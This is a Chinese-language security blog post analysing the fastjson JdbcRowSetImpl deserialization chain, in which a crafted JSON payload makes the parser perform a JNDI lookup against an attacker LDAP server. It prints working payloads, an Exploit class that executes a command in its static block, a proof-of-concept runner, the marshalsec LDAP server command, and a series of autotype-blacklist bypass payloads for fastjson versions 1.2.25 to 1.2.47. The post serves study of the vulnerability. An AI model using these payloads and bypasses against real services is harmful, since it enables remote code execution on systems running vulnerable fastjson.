前言
上文分析了TemplatesImpl利用链,对fastjson parseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl 利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。这条链主要利用了setAutoCommit方法调用InitialContext.lookup并且参数是未经过滤dataSourceName,导致JNDI注入,造成命令执行。其中涉及了JDNI注入 + RMI/LDAP 的知识,再前文也简单分析过JNDI+RMI/JNDI+LDAP的利用,如果不明白可以参考前文JNDI注入(RMI攻击实现和LDAP攻击实现)
JdbcRowSetImpl限制条件
主要限制的因素是jdk版本,个人版本为jdk1.8.0_121
基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。
攻击流程
首先是这个lookup(URI)参数可控
攻击者控制URI参数为指定为恶意的一个RMI服务
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;
源码分析
影响版本:fastjson<=1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/#Exploit", "autoCommit":true}
Exploit代码,需要编译成class文件放到web服务中去:
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
poc代码:
package org.example.fastjson.JdbcRowSetImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
public class Poc {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/#Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
启动LDAP服务端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit 1389
从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。
下面分析payload中的几个参数
@type:反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法,方法中可调用lookup方法
payload中的dataSourceName参数在解析时候则会调用setDataSourceName对DataSourceName变量进行赋值,来看到代码
fastjson调用set方法时,通过super.setDataSourceName(var1)方法把DataSourceName的值设置为ldap://127.0.0.1:1389/#Exploit
autoCommit也一样会调用setAutoCommit
setAutoCommit会调用this.connect()方法,跟进
lookup中则是传入了this.getDataSourceName(),返回dataSource变量内容。而这个dataSource内容则是在前面setDataSourceName方法中进行设置的,该参数是可控的。所以可以进行JDNI注入从而达到命令执行。
TemplatesImpl 链 优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功) 缺点:版本限制 1.2.22 起才有SupportNonPublicField特性,并且后端开发需要特定语句才能够触发,在使用parseObject的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JdbcRowSetImpl 链的优点:利用范围更广,即触发更为容易 ;缺点:当fastjson 不出网的话这个方法基本上也是无法使用的了,同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址。
后续呢,有高于1.2.25的版本绕过,这里给自己留个坑,等分析研究之后再回来补这个坑
https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/
https://blog.csdn.net/qq_41918771/article/details/118669304?spm=1001.2014.3001.5501
https://www.cnblogs.com/nice0e3/p/14776043.html#0x00-%E5%89%8D%E8%A8%80
https://reader-l.github.io/2021/04/24/Java%E5%AE%89%E5%85%A8-FastJson%E4%B9%8BJdbcRowSetImpl%E9%93%BE%E5%88%86%E6%9E%90/
1.2.25>=fastjson<=1.2.41
这个之间的版本,autotype 默认是为false,并且加入了checkAutotype函数,加入了黑名单+白名单来防御autotype开启的情况,其中checkAutotype中可进行绕过
首先我们刚才的payload会显示autoType is not support.
官方文档说是默认是不开启autotype的,不开启该功能是无法进行反序列化的,开启后,白名单绕过是不肯的,而黑名单则是内置的,从而达到绕过的目的
绕过payload:
package org.example.JdbcRowSetImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
public class Poc {
public static void main(String[] args) throws Exception {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/#Exploit\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/#Exploit\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);
}
}
我们执行跟进代码,在DefaultJSONParser类中1.2.25版本做了更改,在这里多了一个checkAutoType方法去做校验,跟进查看函数
因为代码中我们设置了setAutoTypeSupport属性为true,所以代码中的seckAutoType函数会走到第二个断点处中的if语句中
然后就是就是检查传入的类中是否在白名单中,到764行中,就进行了一次白名单的黑名单绕过
跟进loadClass中,这里传入的内容如果为L开头,;结尾的话就会将这2个字符清空,从而达到了黑名单中的白名单绕过的目的
fastjson=1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:1389/#Exploit", "autoCommit":true}
在com.alibaba.fastjson.parser#checkcheckAutoType中将L和;进行清空。这里是利用了双写的方式,前面的规则将第一组L和;,进行清空,而在TypeUtils.loadclass中将第二组内容清空
fastjson=1.2.43
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
fastjson=1.2.44
删除了之前的L开头、;结尾、LL开头的判断,改成了[开头就抛异常,;结尾也抛异常,所以这样写之前的几次绕过都修复了
1.2.25-1.2.47通杀
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/Exploit",
"autoCommit": true
}
}
这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过:
1.利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过
2.这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
3.如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
参考:
https://paper.seebug.org/1192/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报